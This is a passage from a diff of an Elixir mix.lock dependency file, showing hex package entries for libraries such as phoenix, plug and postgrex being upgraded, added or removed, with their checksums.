"53fc1f51255390e0ec7e50f9cb41e751c260d065dcba2bf0d08dc51a4002c2ac"}, + "image": {:hex, :image, "0.62.0", "037a09f4300e5eb5a7612b2739648009250e327b4357d94372f82578469067b9", [:mix], [{:bumblebee, "~> 0.6", [hex: :bumblebee, repo: "hexpm", optional: true]}, {:evision, "~> 0.1.33 or ~> 0.2", [hex: :evision, repo: "hexpm", optional: true]}, {:exla, "~> 0.9", [hex: :exla, repo: "hexpm", optional: true]}, {:jason, "~> 1.4", [hex: :jason, repo: "hexpm", optional: true]}, {:kino, "~> 0.13", [hex: :kino, repo: "hexpm", optional: true]}, {:nx, "~> 0.9", [hex: :nx, repo: "hexpm", optional: true]}, {:nx_image, "~> 0.1", [hex: :nx_image, repo: "hexpm", optional: true]}, {:phoenix_html, "~> 2.1 or ~> 3.2 or ~> 4.0", [hex: :phoenix_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.13", [hex: :plug, repo: "hexpm", optional: true]}, {:req, "~> 0.4", [hex: :req, repo: "hexpm", optional: true]}, {:rustler, "> 0.0.0", [hex: :rustler, repo: "hexpm", optional: true]}, {:scholar, "~> 0.3", [hex: :scholar, repo: "hexpm", optional: true]}, {:sweet_xml, "~> 0.7", [hex: :sweet_xml, repo: "hexpm", optional: false]}, {:vix, "~> 0.33", [hex: :vix, repo: "hexpm", optional: false]}], "hexpm", "3c28dd98b1d14f5408b5d5c1d46258f54119468979286379033cc1efa87155ac"}, + "inet_cidr": {:hex, :inet_cidr, "1.0.8", "d26bb7bdbdf21ae401ead2092bf2bb4bf57fe44a62f5eaa5025280720ace8a40", [:mix], [], "hexpm", "d5b26da66603bb56c933c65214c72152f0de9a6ea53618b56d63302a68f6a90e"}, + "inflex": {:hex, :inflex, "2.1.0", "a365cf0821a9dacb65067abd95008ca1b0bb7dcdd85ae59965deef2aa062924c", [:mix], [], "hexpm", "14c17d05db4ee9b6d319b0bff1bdf22aa389a25398d1952c7a0b5f3d93162dd8"}, + "jason": {:hex, :jason, "1.4.4", "b9226785a9aa77b6857ca22832cffa5d5011a667207eb2a0ad56adb5db443b8a", [:mix], [{:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", "c5eb0cab91f094599f94d55bc63409236a8ec69a21a67814529e8d5f6cc90b3b"}, + "joken": {:hex, :joken, "2.6.2", "5daaf82259ca603af4f0b065475099ada1b2b849ff140ccd37f4b6828ca6892a", [:mix], [{:jose, "~> 1.11.10", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "5134b5b0a6e37494e46dbf9e4dad53808e5e787904b7c73972651b51cce3d72b"}, + "jose": {:hex, :jose, "1.11.10", "a903f5227417bd2a08c8a00a0cbcc458118be84480955e8d251297a425723f83", [:mix, :rebar3], [], "hexpm", "0d6cd36ff8ba174db29148fc112b5842186b68a90ce9fc2b3ec3afe76593e614"}, "jsx": {:hex, :jsx, "2.8.3", "a05252d381885240744d955fbe3cf810504eb2567164824e19303ea59eef62cf", [:mix, :rebar3], [], "hexpm", "fc3499fed7a726995aa659143a248534adc754ebd16ccd437cd93b649a95091f"}, - "junit_formatter": {:hex, :junit_formatter, "3.3.1", "c729befb848f1b9571f317d2fefa648e9d4869befc4b2980daca7c1edc468e40", [:mix], [], "hexpm", "761fc5be4b4c15d8ba91a6dafde0b2c2ae6db9da7b8832a55b5a1deb524da72b"}, - "libsecp256k1": {:hex, :libsecp256k1, "0.1.10", "d27495e2b9851c7765129b76c53b60f5e275bd6ff68292c50536bf6b8d091a4d", [:make, :mix], [{:mix_erlang_tasks, "0.1.0", [hex: :mix_erlang_tasks, repo: "hexpm", optional: false]}], "hexpm", "09ea06239938571124f7f5a27bc9ac45dfb1cfc2df40d46ee9b59c3d51366652"}, - "logger_file_backend": {:hex, :logger_file_backend, "0.0.13", "df07b14970e9ac1f57362985d76e6f24e3e1ab05c248055b7d223976881977c2", [:mix], [], "hexpm", "71a453a7e6e899ae4549fb147b1c6621f4233f8f48f58ca10a64ec67b6c50018"}, - "makeup": {:hex, :makeup, "1.1.0", "6b67c8bc2882a6b6a445859952a602afc1a41c2e08379ca057c0f525366fc3ca", [:mix], [{:nimble_parsec, "~> 1.2.2 or ~> 1.3", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "0a45ed501f4a8897f580eabf99a2e5234ea3e75a4373c8a52824f6e873be57a6"}, - "makeup_elixir": {:hex, :makeup_elixir, "0.16.0", "f8c570a0d33f8039513fbccaf7108c5d750f47d8defd44088371191b76492b0b", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}, {:nimble_parsec, "~> 1.2.3", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "28b2cbdc13960a46ae9a8858c4bebdec3c9a6d7b4b9e7f4ed1502f8159f338e7"}, - "makeup_erlang": {:hex, :makeup_erlang, "0.1.1", "3fcb7f09eb9d98dc4d208f49cc955a34218fc41ff6b84df7c75b3e6e533cc65f", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm", "174d0809e98a4ef0b3309256cbf97101c6ec01c4ab0b23e926a9e17df2077cbb"}, + "jumper": {:hex, :jumper, "1.0.2", "68cdcd84472a00ac596b4e6459a41b3062d4427cbd4f1e8c8793c5b54f1406a7", [:mix], [], "hexpm", "9b7782409021e01ab3c08270e26f36eb62976a38c1aa64b2eaf6348422f165e1"}, + "junit_formatter": {:hex, :junit_formatter, "3.4.0", "d0e8db6c34dab6d3c4154c3b46b21540db1109ae709d6cf99ba7e7a2ce4b1ac2", [:mix], [], "hexpm", "bb36e2ae83f1ced6ab931c4ce51dd3dbef1ef61bb4932412e173b0cfa259dacd"}, + "logger_file_backend": {:hex, :logger_file_backend, "0.0.14", "774bb661f1c3fed51b624d2859180c01e386eb1273dc22de4f4a155ef749a602", [:mix], [], "hexpm", "071354a18196468f3904ef09413af20971d55164267427f6257b52cfba03f9e6"}, + "logger_json": {:hex, :logger_json, "5.1.4", "9e30a4f2e31a8b9e402bdc20bd37cf9b67d3a31f19d0b33082a19a06b4c50f6d", [:mix], [{:ecto, "~> 2.1 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:phoenix, ">= 1.5.0", [hex: :phoenix, repo: "hexpm", optional: true]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm", "3f20eea58e406a33d3eb7814c7dff5accb503bab2ee8601e84da02976fa3934c"}, + "makeup": {:hex, :makeup, "1.2.1", "e90ac1c65589ef354378def3ba19d401e739ee7ee06fb47f94c687016e3713d1", [:mix], [{:nimble_parsec, "~> 1.4", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "d36484867b0bae0fea568d10131197a4c2e47056a6fbe84922bf6ba71c8d17ce"}, + "makeup_elixir": {:hex, :makeup_elixir, "1.0.1", "e928a4f984e795e41e3abd27bfc09f51db16ab8ba1aebdba2b3a575437efafc2", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}, {:nimble_parsec, "~> 1.2.3 or ~> 1.3", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "7284900d412a3e5cfd97fdaed4f5ed389b8f2b4cb49efc0eb3bd10e2febf9507"}, + "makeup_erlang": {:hex, :makeup_erlang, "1.0.2", "03e1804074b3aa64d5fad7aa64601ed0fb395337b982d9bcf04029d68d51b6a7", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm", "af33ff7ef368d5893e4a267933e7744e46ce3cf1f61e2dccf53a111ed3aa3727"}, "math": {:hex, :math, "0.7.0", "12af548c3892abf939a2e242216c3e7cbfb65b9b2fe0d872d05c6fb609f8127b", [:mix], [], "hexpm", "7987af97a0c6b58ad9db43eb5252a49fc1dfe1f6d98f17da9282e297f594ebc2"}, "meck": {:hex, :meck, "0.9.2", "85ccbab053f1db86c7ca240e9fc718170ee5bda03810a6292b5306bf31bae5f5", [:rebar3], [], "hexpm", "81344f561357dc40a8344afa53767c32669153355b626ea9fcbc8da6b3045826"}, "memento": {:hex, :memento, "0.3.2", "38cfc8ff9bcb1adff7cbd0f3b78a762636b86dff764729d1c82d0464c539bdd0", [:mix], [], "hexpm", "25cf691a98a0cb70262f4a7543c04bab24648cb2041d937eb64154a8d6f8012b"}, "metrics": {:hex, :metrics, "1.0.1", "25f094dea2cda98213cecc3aeff09e940299d950904393b2a29d191c346a8486", [:rebar3], [], "hexpm", "69b09adddc4f74a40716ae54d140f93beb0fb8978d8636eaded0c31b6f099f16"}, - "mime": {:hex, :mime, "2.0.3", "3676436d3d1f7b81b5a2d2bd8405f412c677558c81b1c92be58c00562bb59095", [:mix], [], "hexpm", "27a30bf0db44d25eecba73755acf4068cbfe26a4372f9eb3e4ea3a45956bff6b"}, - "mimerl": {:hex, :mimerl, "1.2.0", "67e2d3f571088d5cfd3e550c383094b47159f3eee8ffa08e64106cdf5e981be3", [:rebar3], [], "hexpm", "f278585650aa581986264638ebf698f8bb19df297f66ad91b18910dfc6e19323"}, + "mime": {:hex, :mime, "2.0.7", "b8d739037be7cd402aee1ba0306edfdef982687ee7e9859bee6198c1e7e2f128", [:mix], [], "hexpm", "6171188e399ee16023ffc5b76ce445eb6d9672e2e241d2df6050f3c771e80ccd"}, + "mimerl": {:hex, :mimerl, "1.4.0", "3882a5ca67fbbe7117ba8947f27643557adec38fa2307490c4c4207624cb213b", [:rebar3], [], "hexpm", "13af15f9f68c65884ecca3a3891d50a7b57d82152792f3e19d88650aa126b144"}, "mimetype_parser": {:hex, :mimetype_parser, "0.1.3", "628ac9fe56aa7edcedb534d68397dd66674ab82493c8ebe39acb9a19b666099d", [:mix], [], "hexpm", "7d8f80c567807ce78cd93c938e7f4b0a20b1aaaaab914bf286f68457d9f7a852"}, - "mix_erlang_tasks": {:hex, :mix_erlang_tasks, "0.1.0", "36819fec60b80689eb1380938675af215565a89320a9e29c72c70d97512e4649", [:mix], [], "hexpm", "95d2839c422c482a70c08a8702da8242f86b773f8ab6e8602a4eb72da8da04ed"}, - "mochiweb": {:hex, :mochiweb, "2.18.0", "eb55f1db3e6e960fac4e6db4e2db9ec3602cc9f30b86cd1481d56545c3145d2e", [:rebar3], [], "hexpm", "b93e2b1e564bdbadfecc297277f9e6d0902da645b417d6c9210f6038ac63489a"}, - "mock": {:hex, :mock, "0.3.7", "75b3bbf1466d7e486ea2052a73c6e062c6256fb429d6797999ab02fa32f29e03", [:mix], [{:meck, "~> 0.9.2", [hex: :meck, repo: "hexpm", optional: false]}], "hexpm", "4da49a4609e41fd99b7836945c26f373623ea968cfb6282742bcb94440cf7e5c"}, - "mox": {:hex, :mox, "1.0.2", "dc2057289ac478b35760ba74165b4b3f402f68803dd5aecd3bfd19c183815d64", [:mix], [], "hexpm", "f9864921b3aaf763c8741b5b8e6f908f44566f1e427b2630e89e9a73b981fef2"}, - "msgpax": {:hex, :msgpax, "2.3.0", "14f52ad249a3f77b5e2d59f6143e6c18a6e74f34666989e22bac0a465f9835cc", [:mix], [{:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: true]}], "hexpm", "65c36846a62ed5615baf7d7d47babb6541313a6c0b6d2ff19354bd518f52df7e"}, - "nimble_csv": {:hex, :nimble_csv, "1.2.0", "4e26385d260c61eba9d4412c71cea34421f296d5353f914afe3f2e71cce97722", [:mix], [], "hexpm", "d0628117fcc2148178b034044c55359b26966c6eaa8e2ce15777be3bbc91b12a"}, - "nimble_parsec": {:hex, :nimble_parsec, "1.2.3", "244836e6e3f1200c7f30cb56733fd808744eca61fd182f731eac4af635cc6d0b", [:mix], [], "hexpm", "c8d789e39b9131acf7b99291e93dae60ab48ef14a7ee9d58c6964f59efb570b0"}, - "number": {:hex, :number, "1.0.3", "932c8a2d478a181c624138958ca88a78070332191b8061717270d939778c9857", [:mix], [{:decimal, "~> 1.5 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}], "hexpm", "dd397bbc096b2ca965a6a430126cc9cf7b9ef7421130def69bcf572232ca0f18"}, + "mint": {:hex, :mint, "1.7.1", "113fdb2b2f3b59e47c7955971854641c61f378549d73e829e1768de90fc1abf1", [:mix], [{:castore, "~> 0.1.0 or ~> 1.0", [hex: :castore, repo: "hexpm", optional: true]}, {:hpax, "~> 0.1.1 or ~> 0.2.0 or ~> 1.0", [hex: :hpax, repo: "hexpm", optional: false]}], "hexpm", "fceba0a4d0f24301ddee3024ae116df1c3f4bb7a563a731f45fdfeb9d39a231b"}, + "mnemoniac": {:hex, :mnemoniac, "0.1.5", "d10bf14abb94adc1a98f6cee4d81d197e1b3986cad8ec43b2e21d2cd9f4d99b6", [:mix], [], "hexpm", "518ae4b6ddda5285a5c02bf83e1eb6ce1af7e4d65d3f7f5bff3270689a00bcc3"}, + "mock": {:hex, :mock, "0.3.9", "10e44ad1f5962480c5c9b9fa779c6c63de9bd31997c8e04a853ec990a9d841af", [:mix], [{:meck, "~> 0.9.2", [hex: :meck, repo: "hexpm", optional: false]}], "hexpm", "9e1b244c4ca2551bb17bb8415eed89e40ee1308e0fbaed0a4fdfe3ec8a4adbd3"}, + "mox": {:hex, :mox, "1.1.0", "0f5e399649ce9ab7602f72e718305c0f9cdc351190f72844599545e4996af73c", [:mix], [], "hexpm", "d44474c50be02d5b72131070281a5d3895c0e7a95c780e90bc0cfe712f633a13"}, + "msgpax": {:hex, :msgpax, "2.4.0", "4647575c87cb0c43b93266438242c21f71f196cafa268f45f91498541148c15d", [:mix], [{:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: true]}], "hexpm", "ca933891b0e7075701a17507c61642bf6e0407bb244040d5d0a58597a06369d2"}, + "nimble_csv": {:hex, :nimble_csv, "1.3.0", "b7f998dc62b222bce9596e46f028c7a5af04cb5dde6df2ea197c583227c54971", [:mix], [], "hexpm", "41ccdc18f7c8f8bb06e84164fc51635321e80d5a3b450761c4997d620925d619"}, + "nimble_options": {:hex, :nimble_options, "1.1.1", "e3a492d54d85fc3fd7c5baf411d9d2852922f66e69476317787a7b2bb000a61b", [:mix], [], "hexpm", "821b2470ca9442c4b6984882fe9bb0389371b8ddec4d45a9504f00a66f650b44"}, + "nimble_ownership": {:hex, :nimble_ownership, "1.0.1", "f69fae0cdd451b1614364013544e66e4f5d25f36a2056a9698b793305c5aa3a6", [:mix], [], "hexpm", "3825e461025464f519f3f3e4a1f9b68c47dc151369611629ad08b636b73bb22d"}, + "nimble_parsec": {:hex, :nimble_parsec, "1.4.2", "8efba0122db06df95bfaa78f791344a89352ba04baedd3849593bfce4d0dc1c6", [:mix], [], "hexpm", "4b21398942dda052b403bbe1da991ccd03a053668d147d53fb8c4e0efe09c973"}, + "nimble_pool": {:hex, :nimble_pool, "1.1.0", "bf9c29fbdcba3564a8b800d1eeb5a3c58f36e1e11d7b7fb2e084a643f645f06b", [:mix], [], "hexpm", "af2e4e6b34197db81f7aad230c1118eac993acc0dae6bc83bac0126d4ae0813a"}, + "number": {:hex, :number, "1.0.5", "d92136f9b9382aeb50145782f116112078b3465b7be58df1f85952b8bb399b0f", [:mix], [{:decimal, "~> 1.5 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}], "hexpm", "c0733a0a90773a66582b9e92a3f01290987f395c972cb7d685f51dd927cd5169"}, "numbers": {:hex, :numbers, "5.2.4", "f123d5bb7f6acc366f8f445e10a32bd403c8469bdbce8ce049e1f0972b607080", [:mix], [{:coerce, "~> 1.0", [hex: :coerce, repo: "hexpm", optional: false]}, {:decimal, "~> 1.9 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", "eeccf5c61d5f4922198395bf87a465b6f980b8b862dd22d28198c5e6fab38582"}, + "nx": {:hex, :nx, "0.10.0", "128e4a094cb790f663e20e1334b127c1f2a4df54edfb8b13c22757ec33133b4f", [:mix], [{:complex, "~> 0.6", [hex: :complex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4.0 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "3db8892c124aeee091df0e6fbf8e5bf1b81f502eb0d4f5ba63e6378ebcae7da4"}, + "oauth2": {:hex, :oauth2, "2.1.0", "beb657f393814a3a7a8a15bd5e5776ecae341fd344df425342a3b6f1904c2989", [:mix], [{:tesla, "~> 1.5", [hex: :tesla, repo: "hexpm", optional: false]}], "hexpm", "8ac07f85b3307dd1acfeb0ec852f64161b22f57d0ce0c15e616a1dfc8ebe2b41"}, + "open_api_spex": {:hex, :open_api_spex, "3.22.0", "fbf90dc82681dc042a4ee79853c8e989efbba73d9e87439085daf849bbf8bc20", [:mix], [{:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}, {:poison, "~> 3.0 or ~> 4.0 or ~> 5.0 or ~> 6.0", [hex: :poison, repo: "hexpm", optional: true]}, {:ymlr, "~> 2.0 or ~> 3.0 or ~> 4.0 or ~> 5.0", [hex: :ymlr, repo: "hexpm", optional: true]}], "hexpm", "dd751ddbdd709bb4a5313e9a24530da6e66594773c7242a0c2592cbd9f589063"}, "optimal": {:hex, :optimal, "0.3.6", "46bbf52fbbbd238cda81e02560caa84f93a53c75620f1fe19e81e4ae7b07d1dd", [:mix], [], "hexpm", "1a06ea6a653120226b35b283a1cd10039550f2c566edcdec22b29316d73640fd"}, - "parallel_stream": {:hex, :parallel_stream, "1.0.6", "b967be2b23f0f6787fab7ed681b4c45a215a81481fb62b01a5b750fa8f30f76c", [:mix], [], "hexpm", "639b2e8749e11b87b9eb42f2ad325d161c170b39b288ac8d04c4f31f8f0823eb"}, - "parse_trans": {:hex, :parse_trans, "3.3.1", "16328ab840cc09919bd10dab29e431da3af9e9e7e7e6f0089dd5a2d2820011d8", [:rebar3], [], "hexpm", "07cd9577885f56362d414e8c4c4e6bdf10d43a8767abb92d24cbe8b24c54888b"}, - "phoenix": {:hex, :phoenix, "1.5.13", "d4e0805ec0973bed80d67302631130fb47d75b1a0b7335a0b23c4432b6ce55ee", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_html, "~> 2.13 or ~> 3.0", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 2.0", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.10", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.2", [hex: :plug_cowboy, repo: "hexpm", optional: true]}, {:plug_crypto, "~> 1.1.2 or ~> 1.2", [hex: :plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "1a7c4f1900e6e60bb60ae6680e48418e3f7c360d58bcb9f812487b6d0d281a0f"}, - "phoenix_ecto": {:hex, :phoenix_ecto, "4.4.0", "0672ed4e4808b3fbed494dded89958e22fb882de47a97634c0b13e7b0b5f7720", [:mix], [{:ecto, "~> 3.3", [hex: :ecto, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.14.2 or ~> 3.0", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:plug, "~> 1.9", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "09864e558ed31ee00bd48fcc1d4fc58ae9678c9e81649075431e69dbabb43cc1"}, - "phoenix_html": {:hex, :phoenix_html, "3.0.4", "232d41884fe6a9c42d09f48397c175cd6f0d443aaa34c7424da47604201df2e1", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: true]}], "hexpm", "ce17fd3cf815b2ed874114073e743507704b1f5288bb03c304a77458485efc8b"}, + "parallel_stream": {:hex, :parallel_stream, "1.1.0", "f52f73eb344bc22de335992377413138405796e0d0ad99d995d9977ac29f1ca9", [:mix], [], "hexpm", "684fd19191aedfaf387bbabbeb8ff3c752f0220c8112eb907d797f4592d6e871"}, + "parse_trans": {:hex, :parse_trans, "3.4.1", "6e6aa8167cb44cc8f39441d05193be6e6f4e7c2946cb2759f015f8c56b76e5ff", [:rebar3], [], "hexpm", "620a406ce75dada827b82e453c19cf06776be266f5a67cff34e1ef2cbb60e49a"}, + "phoenix": {:hex, :phoenix, "1.5.14", "2d5db884be496eefa5157505ec0134e66187cb416c072272420c5509d67bf808", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_html, "~> 2.13 or ~> 3.0", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 2.0", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.10", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.2", [hex: :plug_cowboy, repo: "hexpm", optional: true]}, {:plug_crypto, "~> 1.1.2 or ~> 1.2", [hex: :plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "207f1aa5520320cbb7940d7ff2dde2342162cf513875848f88249ea0ba02fef7"}, + "phoenix_ecto": {:hex, :phoenix_ecto, "4.6.5", "c4ef322acd15a574a8b1a08eff0ee0a85e73096b53ce1403b6563709f15e1cea", [:mix], [{:ecto, "~> 3.5", [hex: :ecto, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.14.2 or ~> 3.0 or ~> 4.1", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:plug, "~> 1.9", [hex: :plug, repo: "hexpm", optional: false]}, {:postgrex, "~> 0.16 or ~> 1.0", [hex: :postgrex, repo: "hexpm", optional: true]}], "hexpm", "26ec3208eef407f31b748cadd044045c6fd485fbff168e35963d2f9dfff28d4b"}, + "phoenix_html": {:hex, :phoenix_html, "3.3.4", "42a09fc443bbc1da37e372a5c8e6755d046f22b9b11343bf885067357da21cb3", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: true]}], "hexpm", "0249d3abec3714aff3415e7ee3d9786cb325be3151e6c4b3021502c585bf53fb"}, "phoenix_live_reload": {:hex, :phoenix_live_reload, "1.3.3", "3a53772a6118d5679bf50fc1670505a290e32a1d195df9e069d8c53ab040c054", [:mix], [{:file_system, "~> 0.2.1 or ~> 0.3", [hex: :file_system, repo: "hexpm", optional: false]}, {:phoenix, "~> 1.4", [hex: :phoenix, repo: "hexpm", optional: false]}], "hexpm", "766796676e5f558dbae5d1bdb066849673e956005e3730dfd5affd7a6da4abac"}, - "phoenix_pubsub": {:hex, :phoenix_pubsub, "2.1.1", "ba04e489ef03763bf28a17eb2eaddc2c20c6d217e2150a61e3298b0f4c2012b5", [:mix], [], "hexpm", "81367c6d1eea5878ad726be80808eb5a787a23dee699f96e72b1109c57cdd8d9"}, - "plug": {:hex, :plug, "1.13.6", "187beb6b67c6cec50503e940f0434ea4692b19384d47e5fdfd701e93cadb4cc2", [:mix], [{:mime, "~> 1.0 or ~> 2.0", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_crypto, "~> 1.1.1 or ~> 1.2", [hex: :plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4.3 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "02b9c6b9955bce92c829f31d6284bf53c591ca63c4fb9ff81dfd0418667a34ff"}, - "plug_cowboy": {:hex, :plug_cowboy, "2.5.2", "62894ccd601cf9597e2c23911ff12798a8a18d237e9739f58a6b04e4988899fe", [:mix], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:cowboy_telemetry, "~> 0.3", [hex: :cowboy_telemetry, repo: "hexpm", optional: false]}, {:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "ea6e87f774c8608d60c8d34022a7d073bd7680a0a013f049fc62bf35efea1044"}, - "plug_crypto": {:hex, :plug_crypto, "1.2.2", "05654514ac717ff3a1843204b424477d9e60c143406aa94daf2274fdd280794d", [:mix], [], "hexpm", "87631c7ad914a5a445f0a3809f99b079113ae4ed4b867348dd9eec288cecb6db"}, - "poison": {:hex, :poison, "5.0.0", "d2b54589ab4157bbb82ec2050757779bfed724463a544b6e20d79855a9e43b24", [:mix], [{:decimal, "~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}], "hexpm", "11dc6117c501b80c62a7594f941d043982a1bd05a1184280c0d9166eb4d8d3fc"}, + "phoenix_live_view": {:hex, :phoenix_live_view, "0.17.7", "05a42377075868a678d446361effba80cefef19ab98941c01a7a4c7560b29121", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix, "~> 1.5.9 or ~> 1.6.0", [hex: :phoenix, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 3.1", [hex: :phoenix_html, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4.2 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "25eaf41028eb351b90d4f69671874643a09944098fefd0d01d442f40a6091b6f"}, + "phoenix_pubsub": {:hex, :phoenix_pubsub, "2.1.3", "3168d78ba41835aecad272d5e8cd51aa87a7ac9eb836eabc42f6e57538e3731d", [:mix], [], "hexpm", "bba06bc1dcfd8cb086759f0edc94a8ba2bc8896d5331a1e2c2902bf8e36ee502"}, + "plug": {:hex, :plug, "1.18.1", "5067f26f7745b7e31bc3368bc1a2b818b9779faa959b49c934c17730efc911cf", [:mix], [{:mime, "~> 1.0 or ~> 2.0", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_crypto, "~> 1.1.1 or ~> 1.2 or ~> 2.0", [hex: :plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4.3 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "57a57db70df2b422b564437d2d33cf8d33cd16339c1edb190cd11b1a3a546cc2"}, + "plug_cowboy": {:hex, :plug_cowboy, "2.7.4", "729c752d17cf364e2b8da5bdb34fb5804f56251e88bb602aff48ae0bd8673d11", [:mix], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:cowboy_telemetry, "~> 0.3", [hex: :cowboy_telemetry, repo: "hexpm", optional: false]}, {:plug, "~> 1.14", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "9b85632bd7012615bae0a5d70084deb1b25d2bcbb32cab82d1e9a1e023168aa3"}, + "plug_crypto": {:hex, :plug_crypto, "1.2.5", "918772575e48e81e455818229bf719d4ab4181fcbf7f85b68a35620f78d89ced", [:mix], [], "hexpm", "26549a1d6345e2172eb1c233866756ae44a9609bd33ee6f99147ab3fd87fd842"}, + "poison": {:hex, :poison, "4.0.1", "bcb755a16fac91cad79bfe9fc3585bb07b9331e50cfe3420a24bcc2d735709ae", [:mix], [], "hexpm", "ba8836feea4b394bb718a161fc59a288fe0109b5006d6bdf97b6badfcf6f0f25"}, "poolboy": {:hex, :poolboy, "1.5.2", "392b007a1693a64540cead79830443abf5762f5d30cf50bc95cb2c1aaafa006b", [:rebar3], [], "hexpm", "dad79704ce5440f3d5a3681c8590b9dc25d1a561e8f5a9c995281012860901e3"}, - "postgrex": {:hex, :postgrex, "0.15.13", "7794e697481799aee8982688c261901de493eb64451feee6ea58207d7266d54a", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 2.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "3ffb76e1a97cfefe5c6a95632a27ffb67f28871c9741fb585f9d1c3cd2af70f1"}, - "prometheus": {:hex, :prometheus, "4.9.1", "ecf9ccf0fdd0fefb13b19f5216aff8b4bdc852171f5c79133bd998ce8210cf65", [:mix, :rebar3], [{:quantile_estimator, "~> 0.2.1", [hex: :quantile_estimator, repo: "hexpm", optional: false]}], "hexpm", "d75e80d7b2c1be6bf296e211e806e939ae3d9e0428f45b4caad1817f028213d3"}, + "postgrex": {:hex, :postgrex, "0.21.1", "2c5cc830ec11e7a0067dd4d623c049b3ef807e9507a424985b8dcf921224cd88", [:mix], [{:db_connection, "~> 2.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:table, "~> 0.1.0", [hex: :table, repo: "hexpm", optional: true]}], "hexpm", "27d8d21c103c3cc68851b533ff99eef353e6a0ff98dc444ea751de43eb48bdac"}, + "prometheus": {:hex, :prometheus, "6.0.3", "95302236124c0f919163a7762bf7d2b171b919b6ff6148d26eb38a5d2def7b81", [:rebar3], [{:ddskerl, "0.4.2", [hex: :ddskerl, repo: "hexpm", optional: false]}], "hexpm", "53554ecadac0354066801d514d1a244dd026175e4ee3a9a30192b71d530c8268"}, "prometheus_ecto": {:hex, :prometheus_ecto, "1.4.3", "3dd4da1812b8e0dbee81ea58bb3b62ed7588f2eae0c9e97e434c46807ff82311", [:mix], [{:ecto, "~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", 